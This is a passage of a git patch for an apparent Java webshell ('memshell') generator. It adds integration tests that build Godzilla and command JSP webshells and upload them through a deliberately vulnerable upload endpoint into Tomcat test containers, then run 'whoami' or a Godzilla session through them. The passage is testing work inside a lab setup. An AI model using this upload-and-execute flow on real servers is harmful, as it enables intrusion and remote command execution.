From e2340ff2d150d501b07c024b98782bf545c20c07 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Mon, 2 Dec 2024 01:10:51 +0800 Subject: [PATCH] test: support integration test summary --- .github/workflows/ci.yaml | 2 + .gitignore | 3 +- build.gradle | 7 + generator/build.gradle | 7 + .../com/reajason/javaweb/GeneratorMain.java | 4 - integration-test/build.gradle | 8 + .../src/test/java/annotation/ImageName.java | 16 - .../MarkdownTestExecutionListener.java | 78 +++++ .../javaweb/integration/CommandShellTool.java | 50 ++++ .../integration/GodzillaShellTool.java | 39 +++ .../reajason/javaweb/integration/VulTool.java | 38 +++ .../tomcat/TomcatIntegrationTest.java | 212 ++++++++++++++ .../test/java/godzilla/BaseGodzillaTest.java | 59 ---- .../src/test/java/tomcat/GodzillaTest.java | 24 -- .../test/java/tomcat/TomcatGodzillaTest.java | 275 ------------------ ...it.platform.launcher.TestExecutionListener | 1 + 16 files changed, 444 insertions(+), 379 deletions(-) delete mode 100644 integration-test/src/test/java/annotation/ImageName.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/MarkdownTestExecutionListener.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/GodzillaShellTool.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/TomcatIntegrationTest.java delete mode 100644 integration-test/src/test/java/godzilla/BaseGodzillaTest.java delete mode 100644 integration-test/src/test/java/tomcat/GodzillaTest.java delete mode 100644 integration-test/src/test/java/tomcat/TomcatGodzillaTest.java create mode 100644 integration-test/src/test/resources/META-INF/services/org.junit.platform.launcher.TestExecutionListener diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml index c9628009..e08e6aed 100644 --- a/.github/workflows/ci.yaml +++ b/.github/workflows/ci.yaml @@ -23,6 +23,8 @@ jobs: - name: Integration Test with gradle run: ./gradlew :integration-test:test --info continue-on-error: true + - name: Export Integration Test Summary + run: cat integration-test/build/test-results/result.md >> $GITHUB_STEP_SUMMARY - name: Merge Jacoco run: ./gradlew jacocoTestReport - name: Generate JaCoCo Badge diff --git a/.gitignore b/.gitignore index 5c87de4d..165379dd 100644 --- a/.gitignore +++ b/.gitignore @@ -47,4 +47,5 @@ gradle-app.setting # JDT-specific (Eclipse Java Development Tools) .classpath -.DS_Store \ No newline at end of file +.DS_Store +*.iml diff --git a/build.gradle b/build.gradle index e5ced6b3..1fd60a5e 100644 --- a/build.gradle +++ b/build.gradle @@ -1,5 +1,6 @@ plugins { id 'java' + id 'idea' id 'jacoco' } @@ -7,6 +8,12 @@ repositories { mavenCentral() } +idea { + module { + excludeDirs -= file('build') + } +} + jacocoTestReport { reports { xml.required = true diff --git a/generator/build.gradle b/generator/build.gradle index 75af9485..3c0d82b6 100644 --- a/generator/build.gradle +++ b/generator/build.gradle @@ -1,5 +1,6 @@ plugins { id "java" + id 'idea' id "jacoco" id "io.freefair.lombok" version "8.11" } @@ -16,6 +17,12 @@ test { finalizedBy jacocoTestReport } +idea { + module { + excludeDirs -= file('build') + } +} + dependencies { implementation 'net.bytebuddy:byte-buddy:1.15.1' implementation 'javax.servlet:javax.servlet-api:3.0.1' diff --git a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java index d30750e3..a17cc49e 100644 --- a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java +++ b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java @@ -39,10 +39,6 @@ public class GeneratorMain { } } - public static GenerateResult generate(Server server, ShellTool shellTool, String shellType, ShellConfig shellConfig) { - return generate(server, shellTool, shellType, shellConfig, Constants.DEFAULT_VERSION); - } - public static GenerateResult generate(Server server, ShellTool shellTool, String shellType, ShellConfig shellConfig, int targetJdkVersion) { switch (server) { case TOMCAT: diff --git a/integration-test/build.gradle b/integration-test/build.gradle index 3dffea58..4f8e9776 100644 --- a/integration-test/build.gradle +++ b/integration-test/build.gradle @@ -1,6 +1,7 @@ plugins { id "java" id "jacoco" + id 'idea' id "io.freefair.lombok" version "8.11" } @@ -21,6 +22,7 @@ dependencies { testImplementation 'org.testcontainers:junit-jupiter:1.20.4' testImplementation platform('org.junit:junit-bom:5.11.3') testImplementation 'org.junit.jupiter:junit-jupiter' + testImplementation 'org.junit.platform:junit-platform-reporting:1.11.3' } tasks.withType(Test).tap { @@ -31,6 +33,12 @@ tasks.withType(Test).tap { } } +idea { + module { + excludeDirs -= file('build') + } +} + test { dependsOn ":vul-webapp:war", ":vul-webapp-jakarta:war" useJUnitPlatform() diff --git a/integration-test/src/test/java/annotation/ImageName.java b/integration-test/src/test/java/annotation/ImageName.java deleted file mode 100644 index bc27d968..00000000 --- a/integration-test/src/test/java/annotation/ImageName.java +++ /dev/null @@ -1,16 +0,0 @@ -package annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; - -/** - * @author ReaJason - * @since 2024/11/28 - */ -@Documented -@Retention(RetentionPolicy.RUNTIME) -public @interface ImageName { - - String value(); -} diff --git a/integration-test/src/test/java/com/reajason/javaweb/MarkdownTestExecutionListener.java b/integration-test/src/test/java/com/reajason/javaweb/MarkdownTestExecutionListener.java new file mode 100644 index 00000000..dd89ee30 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/MarkdownTestExecutionListener.java @@ -0,0 +1,78 @@ +package com.reajason.javaweb; + +import lombok.SneakyThrows; +import org.junit.platform.engine.TestExecutionResult; +import org.junit.platform.engine.UniqueId; +import org.junit.platform.launcher.TestExecutionListener; +import org.junit.platform.launcher.TestIdentifier; +import org.junit.platform.launcher.TestPlan; + +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.Paths; +import java.nio.file.StandardOpenOption; +import java.time.Duration; +import java.time.Instant; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/1 + */ +public class MarkdownTestExecutionListener implements TestExecutionListener { + + private final Map timeStamps = new HashMap<>(); + private Instant startTime; + private final Path markdownPath = Paths.get("build", "test-results", "result.md"); + private final List testResults = new ArrayList<>(); + + @SneakyThrows + @Override + public void testPlanExecutionStarted(TestPlan testPlan) { + Files.deleteIfExists(markdownPath); + ArrayList lines = new ArrayList<>(); + lines.add("## Integration Test"); + startTime = Instant.now(); + lines.add("- Started At: " + startTime); + Files.write(markdownPath, lines, StandardOpenOption.CREATE_NEW); + + testResults.add("| **Image Name** | **Shell Type** | **Packer** | **Status**| **Duration(ms)** |"); + testResults.add("|----------------|----------------|------------|-----------|------------------|"); + } + + @Override + @SneakyThrows + public void testPlanExecutionFinished(TestPlan testPlan) { + List lines = new ArrayList<>(); + Instant endTime = Instant.now(); + lines.add("- Finished At: " + endTime); + lines.add("- Total Duration: " + Duration.between(startTime, endTime).getSeconds() + " seconds"); + lines.add(""); + lines.addAll(testResults); + Files.write(markdownPath, lines, StandardOpenOption.APPEND); + } + + @Override + public void executionFinished(TestIdentifier testIdentifier, TestExecutionResult testExecutionResult) { + if (testIdentifier.isTest()) { + Instant startTime = timeStamps.get(testIdentifier.getUniqueIdObject()); + if (startTime != null) { + String[] split = testIdentifier.getDisplayName().split("\\|"); + if (split.length == 3) { + String status = testExecutionResult.getStatus().equals(TestExecutionResult.Status.SUCCESSFUL) ? "✔" : "✘"; + testResults.add("|" + split[0].trim() + "|" + split[1].trim() + "|" + split[2].trim() + "|" + status + "|" + Duration.between(startTime, Instant.now()).toMillis() + "|"); + } + } + } + } + + @Override + public void executionStarted(TestIdentifier testIdentifier) { + if (testIdentifier.isTest()) { + timeStamps.put(testIdentifier.getUniqueIdObject(), Instant.now()); + } + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java new file mode 100644 index 00000000..683e42fc --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java @@ -0,0 +1,50 @@ +package com.reajason.javaweb.integration; + +import com.reajason.javaweb.GeneratorMain; +import com.reajason.javaweb.config.CommandShellConfig; +import com.reajason.javaweb.config.GenerateResult; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.packer.JspPacker; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import okhttp3.HttpUrl; +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.Response; + +import java.util.Objects; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/11/30 + */ +@Slf4j +public class CommandShellTool { + + public static String generateJsp(Server server, CommandShellConfig config, String shellType, int targetJdkVersion) { + ShellTool shellTool = ShellTool.COMMAND; + GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion); + JspPacker jspPacker = new JspPacker(); + return new String(jspPacker.pack(generateResult)); + } + + @SneakyThrows + public static void testIsOk(String entrypoint, CommandShellConfig shellConfig) { + OkHttpClient okHttpClient = new OkHttpClient(); + HttpUrl url = Objects.requireNonNull(HttpUrl.parse(entrypoint)) + .newBuilder() + .addQueryParameter(shellConfig.getParamName(), "whoami") + .build(); + Request request = new Request.Builder() + .url(url) + .get().build(); + + try (Response response = okHttpClient.newCall(request).execute()) { + String res = response.body().string(); + assertEquals("root", res.trim()); + } + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/GodzillaShellTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/GodzillaShellTool.java new file mode 100644 index 00000000..4c35ce30 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/GodzillaShellTool.java @@ -0,0 +1,39 @@ +package com.reajason.javaweb.integration; + +import com.reajason.javaweb.GeneratorMain; +import com.reajason.javaweb.config.GenerateResult; +import com.reajason.javaweb.config.GodzillaShellConfig; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.godzilla.GodzillaManager; +import com.reajason.javaweb.memsell.packer.JspPacker; + +import java.io.IOException; + +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * @author ReaJason + * @since 2024/11/30 + */ +public class GodzillaShellTool { + + public static String generateJsp(Server server, GodzillaShellConfig config, String shellType, int targetJdkVersion) { + ShellTool shellTool = ShellTool.Godzilla; + GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion); + JspPacker jspPacker = new JspPacker(); + return new String(jspPacker.pack(generateResult)); + } + + public static void testIsOk(String entrypoint, GodzillaShellConfig shellConfig) { + try (GodzillaManager godzillaManager = GodzillaManager.builder() + .entrypoint(entrypoint).pass(shellConfig.getPass()) + .key(shellConfig.getKey()).header(shellConfig.getHeaderName() + , shellConfig.getHeaderValue()).build()) { + assertTrue(godzillaManager.start()); + assertTrue(godzillaManager.test()); + } catch (IOException e) { + e.printStackTrace(); + } + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java new file mode 100644 index 00000000..d7401c20 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java @@ -0,0 +1,38 @@ +package com.reajason.javaweb.integration; + +import lombok.SneakyThrows; +import okhttp3.*; +import org.junit.jupiter.api.Assertions; + +/** + * @author ReaJason + * @since 2024/11/30 + */ +public class VulTool { + + @SneakyThrows + public static void urlIsOk(String url) { + Request request = new Request.Builder() + .url(url).build(); + try (Response response = new OkHttpClient().newCall(request).execute()) { + Assertions.assertTrue(response.isSuccessful()); + } + } + + + @SneakyThrows + public static void uploadJspFileToServer(String uploadUrl, String filename, String fileContent) { + MediaType mediaType = MediaType.parse("text/plain"); + RequestBody fileRequestBody = RequestBody.create(fileContent, mediaType); + MultipartBody requestBody = new MultipartBody.Builder() + .setType(MultipartBody.FORM) + .addFormDataPart("file", filename, fileRequestBody) + .build(); + Request request = new Request.Builder() + .url(uploadUrl).post(requestBody) + .build(); + try (Response response = new OkHttpClient().newCall(request).execute()) { + Assertions.assertEquals(200, response.code()); + } + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/TomcatIntegrationTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/TomcatIntegrationTest.java new file mode 100644 index 00000000..8bbb6652 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/TomcatIntegrationTest.java @@ -0,0 +1,212 @@ +package com.reajason.javaweb.integration.tomcat; + +import com.reajason.javaweb.config.CommandShellConfig; +import com.reajason.javaweb.config.GodzillaShellConfig; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.integration.CommandShellTool; +import com.reajason.javaweb.integration.GodzillaShellTool; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.memsell.tomcat.TomcatShell; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Nested; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.ValueSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; +import org.testcontainers.utility.MountableFile; + +import java.nio.file.Paths; + +/** + * @author ReaJason + * @since 2024/11/28 + */ +@Testcontainers +@Slf4j +public class TomcatIntegrationTest { + + public static final MountableFile warFile = MountableFile.forHostPath(Paths.get("../vul-webapp/build/libs/vul-webapp.war").toAbsolutePath()); + public static final MountableFile warJakartaFile = MountableFile.forHostPath(Paths.get("../vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war").toAbsolutePath()); + + // https://hub.docker.com/_/tomcat/tags + public static final String tomcat6ImageName = "reajason/tomcat:6-jdk6"; + public static final String tomcat7ImageName = "tomcat:7.0.85-jre7"; + public static final String tomcat8ImageName = "tomcat:8-jre8"; + public static final String tomcat9ImageName = "tomcat:9-jre9"; + public static final String tomcat10ImageName = "tomcat:10.1-jre11"; + public static final String tomcat11ImageName = "tomcat:11.0-jre17"; + + public String getUrl(GenericContainer tomcat) { + String host = tomcat.getHost(); + int port = tomcat.getMappedPort(8080); + String url = "http://" + host + ":" + port + "/app"; + log.info("container started, app url is : {}", url); + return url; + } + + @Nested + class Tomcat6 { + @Container + public final GenericContainer tomcat = new GenericContainer<>(tomcat6ImageName) + .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @ParameterizedTest(name = tomcat6ImageName + "|{0}Godzilla|JSP") + @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE}) + void testGodzilla(String shellType) { + testGodzillaJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V1_6); + } + + @ParameterizedTest(name = tomcat6ImageName + "|{0}Command|JSP") + @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE}) + void testCommand(String shellType) { + testCommandJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V1_6); + } + } + + @Nested + class Tomcat7 { + + @Container + public final GenericContainer tomcat = new GenericContainer<>(tomcat7ImageName) + .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + + @ParameterizedTest(name = tomcat7ImageName + "|{0}Godzilla|JSP") + @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE}) + void testGodzilla(String shellType) { + testGodzillaJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V1_7); + } + + @ParameterizedTest(name = tomcat7ImageName + "|{0}Command|JSP") + @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE}) + void testCommand(String shellType) { + testCommandJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V1_7); + } + } + + @Nested + class Tomcat8 { + + @Container + public final GenericContainer tomcat = new GenericContainer<>(tomcat8ImageName) + .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @ParameterizedTest(name = tomcat8ImageName + "|{0}Godzilla|JSP") + @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE}) + void testGodzilla(String shellType) { + testGodzillaJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V1_8); + } + + @ParameterizedTest(name = tomcat8ImageName + "|{0}Command|JSP") + @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE}) + void testCommand(String shellType) { + testCommandJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V1_8); + } + } + + @Nested + class Tomcat9 { + + @Container + public final GenericContainer tomcat = new GenericContainer<>(tomcat9ImageName) + .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @ParameterizedTest(name = tomcat9ImageName + "|{0}Godzilla|JSP") + @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE}) + void testGodzilla(String shellType) { + testGodzillaJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V9); + } + + @ParameterizedTest(name = tomcat9ImageName + "|{0}Command|JSP") + @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE}) + void testCommand(String shellType) { + testCommandJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V9); + } + } + + @Nested + class Tomcat10 { + + @Container + public final GenericContainer tomcat = new GenericContainer<>(tomcat10ImageName) + .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @ParameterizedTest(name = tomcat10ImageName + "|{0}Godzilla|JSP") + @ValueSource(strings = {TomcatShell.JAKARTA_FILTER, TomcatShell.JAKARTA_LISTENER, TomcatShell.JAKARTA_VALVE}) + void testGodzilla(String shellType) { + testGodzillaJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V11); + } + + @ParameterizedTest(name = tomcat10ImageName + "|{0}Godzilla|JSP") + @ValueSource(strings = {TomcatShell.JAKARTA_FILTER, TomcatShell.JAKARTA_LISTENER, TomcatShell.JAKARTA_VALVE}) + void testCommand(String shellType) { + testCommandJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V11); + } + } + + @Nested + class Tomcat11 { + + @Container + public final GenericContainer tomcat = new GenericContainer<>(tomcat11ImageName) + .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @ParameterizedTest(name = tomcat11ImageName + "|{0}Godzilla|JSP") + @ValueSource(strings = {TomcatShell.JAKARTA_FILTER, TomcatShell.JAKARTA_LISTENER, TomcatShell.JAKARTA_VALVE}) + void testGodzilla(String shellType) { + testGodzillaJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V17); + } + + @ParameterizedTest(name = tomcat11ImageName + "|{0}Command|JSP") + @ValueSource(strings = {TomcatShell.JAKARTA_FILTER, TomcatShell.JAKARTA_LISTENER, TomcatShell.JAKARTA_VALVE}) + void testCommand(String shellType) { + testCommandJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V17); + } + } + + private void testGodzillaJspInjectAssertOk(String url, String shellType, int targetJdkVersion) { + String pass = "pass" + shellType; + String key = "key" + shellType; + String headerValue = "Godzilla" + shellType; + GodzillaShellConfig shellConfig = GodzillaShellConfig.builder() + .pass(pass).key(key) + .headerName("User-Agent").headerValue(headerValue) + .build(); + String jspContent = GodzillaShellTool.generateJsp(Server.TOMCAT, shellConfig, shellType, targetJdkVersion); + log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, pass, key, headerValue); + String filename = shellType + ".jsp"; + String uploadEntry = url + "/upload"; + String jspEntry = url + "/" + filename; + VulTool.uploadJspFileToServer(uploadEntry, filename, jspContent); + VulTool.urlIsOk(jspEntry); + GodzillaShellTool.testIsOk(jspEntry, shellConfig); + } + + private void testCommandJspInjectAssertOk(String url, String shellType, int targetJdkVersion) { + String paramName = "Command" + shellType; + CommandShellConfig config = CommandShellConfig.builder().paramName(paramName).build(); + String jspContent = CommandShellTool.generateJsp(Server.TOMCAT, config, shellType, targetJdkVersion); + log.info("generated {} command shell with paramName: {}", shellType, config.getParamName()); + String filename = shellType + ".jsp"; + String uploadEntry = url + "/upload"; + String jspEntry = url + "/" + filename; + VulTool.uploadJspFileToServer(uploadEntry, filename, jspContent); + VulTool.urlIsOk(jspEntry); + CommandShellTool.testIsOk(jspEntry, config); + } +} \ No newline at end of file diff --git a/integration-test/src/test/java/godzilla/BaseGodzillaTest.java b/integration-test/src/test/java/godzilla/BaseGodzillaTest.java deleted file mode 100644 index 5136c6be..00000000 --- a/integration-test/src/test/java/godzilla/BaseGodzillaTest.java +++ /dev/null @@ -1,59 +0,0 @@ -package godzilla; - -import com.reajason.javaweb.config.GodzillaShellConfig; -import com.reajason.javaweb.godzilla.GodzillaManager; -import lombok.SneakyThrows; -import okhttp3.*; -import org.junit.jupiter.api.Assertions; - -import java.io.IOException; - -import static org.junit.jupiter.api.Assertions.assertTrue; - -/** - * @author ReaJason - * @since 2024/11/28 - */ -public interface BaseGodzillaTest { - - OkHttpClient client = new OkHttpClient(); - - @SneakyThrows - default void verifyContainerResponse(String url) { - Request request = new Request.Builder() - .url(url).build(); - try (Response response = client.newCall(request).execute()) { - Assertions.assertEquals(200, response.code()); - } - } - - - @SneakyThrows - default void uploadJspFileToServer(String uploadUrl, String filename, String fileContent) { - MediaType mediaType = MediaType.parse("text/plain"); - RequestBody fileRequestBody = RequestBody.create(fileContent, mediaType); - MultipartBody requestBody = new MultipartBody.Builder() - .setType(MultipartBody.FORM) - .addFormDataPart("file", filename, fileRequestBody) - .build(); - Request request = new Request.Builder() - .url(uploadUrl).post(requestBody) - .build(); - try (Response response = client.newCall(request).execute()) { - Assertions.assertEquals(200, response.code()); - } - } - - default void testGodzillaIsOk(String entrypoint, GodzillaShellConfig shellConfig) { - try (GodzillaManager godzillaManager = GodzillaManager.builder() - .entrypoint(entrypoint) - .pass(shellConfig.getPass()) - .key(shellConfig.getKey()) - .header(shellConfig.getHeaderName(), shellConfig.getHeaderValue()).build()) { - assertTrue(godzillaManager.start()); - assertTrue(godzillaManager.test()); - } catch (IOException e) { - e.printStackTrace(); - } - } -} diff --git a/integration-test/src/test/java/tomcat/GodzillaTest.java b/integration-test/src/test/java/tomcat/GodzillaTest.java deleted file mode 100644 index 42e7a4c0..00000000 --- a/integration-test/src/test/java/tomcat/GodzillaTest.java +++ /dev/null @@ -1,24 +0,0 @@ -package tomcat; - -import com.reajason.javaweb.GeneratorMain; -import com.reajason.javaweb.config.GenerateResult; -import com.reajason.javaweb.config.GodzillaShellConfig; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.JspPacker; -import godzilla.BaseGodzillaTest; - -/** - * @author ReaJason - * @since 2024/11/28 - */ -public interface GodzillaTest extends BaseGodzillaTest { - - default String generateGodzillaJsp(GodzillaShellConfig config, String shellType, int targetJdkVersion) { - Server server = Server.TOMCAT; - ShellTool shellTool = ShellTool.Godzilla; - GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion); - JspPacker jspPacker = new JspPacker(); - return new String(jspPacker.pack(generateResult)); - } -} diff --git a/integration-test/src/test/java/tomcat/TomcatGodzillaTest.java b/integration-test/src/test/java/tomcat/TomcatGodzillaTest.java deleted file mode 100644 index 33b7fa2d..00000000 --- a/integration-test/src/test/java/tomcat/TomcatGodzillaTest.java +++ /dev/null @@ -1,275 +0,0 @@ -package tomcat; - -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.GodzillaShellConfig; -import com.reajason.javaweb.memsell.tomcat.TomcatShell; -import lombok.extern.slf4j.Slf4j; -import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.Nested; -import org.junit.jupiter.api.Test; -import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.junit.jupiter.Container; -import org.testcontainers.junit.jupiter.Testcontainers; -import org.testcontainers.utility.MountableFile; - -import java.nio.file.Paths; - -/** - * @author ReaJason - * @since 2024/11/28 - */ -@Testcontainers -@Slf4j -public class TomcatGodzillaTest implements GodzillaTest { - - public static final MountableFile warFile = MountableFile.forHostPath(Paths.get("../vul-webapp/build/libs/vul-webapp.war").toAbsolutePath()); - public static final MountableFile warJakartaFile = MountableFile.forHostPath(Paths.get("../vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war").toAbsolutePath()); - - // https://hub.docker.com/_/tomcat/tags - public static final String tomcat6ImageName = "reajason/tomcat:6-jdk6"; - public static final String tomcat7ImageName = "tomcat:7.0.85-jre7"; - public static final String tomcat8ImageName = "tomcat:8-jre8"; - public static final String tomcat9ImageName = "tomcat:9-jre9"; - public static final String tomcat10ImageName = "tomcat:10.1-jre11"; - public static final String tomcat11ImageName = "tomcat:11.0-jre17"; - - @Nested - class Tomcat6Godzilla { - - @Container - public final GenericContainer tomcat6 = new GenericContainer<>(tomcat6ImageName) - .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - public String getUrl() { - String host = tomcat6.getHost(); - int port = tomcat6.getMappedPort(8080); - String url = "http://" + host + ":" + port + "/app"; - log.info("container started, app url is : {}", url); - return url; - } - - @Test - void testGodzillaFilter() { - String shellType = TomcatShell.FILTER; - testGodzilla(getUrl(), tomcat6ImageName, shellType); - } - - @Test - void testGodzillaValve() { - String shellType = TomcatShell.VALVE; - testGodzilla(getUrl(), tomcat6ImageName, shellType); - } - - @Test - void testGodzillaListener() { - String shellType = TomcatShell.LISTENER; - testGodzilla(getUrl(), tomcat6ImageName, shellType); - } - } - - @Nested - class Tomcat7Godzilla { - - @Container - public final GenericContainer tomcat7 = new GenericContainer<>(tomcat7ImageName) - .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - public String getUrl() { - String host = tomcat7.getHost(); - int port = tomcat7.getMappedPort(8080); - String url = "http://" + host + ":" + port + "/app"; - log.info("container started, app url is : {}", url); - return url; - } - - @Test - void testGodzillaFilter() { - String shellType = TomcatShell.FILTER; - testGodzilla(getUrl(), tomcat7ImageName, shellType); - } - - @Test - void testGodzillaValve() { - String shellType = TomcatShell.VALVE; - testGodzilla(getUrl(), tomcat7ImageName, shellType); - } - - @Test - void testGodzillaListener() { - String shellType = TomcatShell.LISTENER; - testGodzilla(getUrl(), tomcat7ImageName, shellType); - } - } - - @Nested - class Tomcat8Godzilla { - - @Container - public final GenericContainer tomcat8 = new GenericContainer<>(tomcat8ImageName) - .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - public String getUrl() { - String host = tomcat8.getHost(); - int port = tomcat8.getMappedPort(8080); - String url = "http://" + host + ":" + port + "/app"; - log.info("container started, app url is : {}", url); - return url; - } - - @Test - void testGodzillaFilter() { - String shellType = TomcatShell.FILTER; - testGodzilla(getUrl(), tomcat8ImageName, shellType); - } - - @Test - void testGodzillaValve() { - String shellType = TomcatShell.VALVE; - testGodzilla(getUrl(), tomcat8ImageName, shellType); - } - - @Test - void testGodzillaListener() { - String shellType = TomcatShell.LISTENER; - testGodzilla(getUrl(), tomcat8ImageName, shellType); - } - } - - @Nested - class Tomcat9Godzilla { - - @Container - public final GenericContainer tomcat9 = new GenericContainer<>(tomcat9ImageName) - .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - public String getUrl() { - String host = tomcat9.getHost(); - int port = tomcat9.getMappedPort(8080); - String url = "http://" + host + ":" + port + "/app"; - log.info("container started, app url is : {}", url); - return url; - } - - @Test - void testGodzillaFilter() { - String shellType = TomcatShell.FILTER; - testGodzilla(getUrl(), tomcat9ImageName, shellType); - } - - @Test - void testGodzillaValve() { - String shellType = TomcatShell.VALVE; - testGodzilla(getUrl(), tomcat9ImageName, shellType); - } - - @Test - void testGodzillaListener() { - String shellType = TomcatShell.LISTENER; - testGodzilla(getUrl(), tomcat9ImageName, shellType); - } - } - - @Nested - class Tomcat10Godzilla { - - @Container - public final GenericContainer tomcat10 = new GenericContainer<>(tomcat10ImageName) - .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - public String getUrl() { - String host = tomcat10.getHost(); - int port = tomcat10.getMappedPort(8080); - String url = "http://" + host + ":" + port + "/app"; - log.info("container started, app url is : {}", url); - return url; - } - - @Test - void testGodzillaFilter() { - String shellType = TomcatShell.JAKARTA_FILTER; - testSpecificJdkGodzilla(getUrl(), tomcat10ImageName, shellType, Opcodes.V11); - } - - @Test - void testGodzillaValve() { - String shellType = TomcatShell.JAKARTA_VALVE; - testSpecificJdkGodzilla(getUrl(), tomcat10ImageName, shellType, Opcodes.V11); - } - - @Test - void testGodzillaListener() { - String shellType = TomcatShell.JAKARTA_LISTENER; - testSpecificJdkGodzilla(getUrl(), tomcat10ImageName, shellType, Opcodes.V11); - } - } - - @Nested 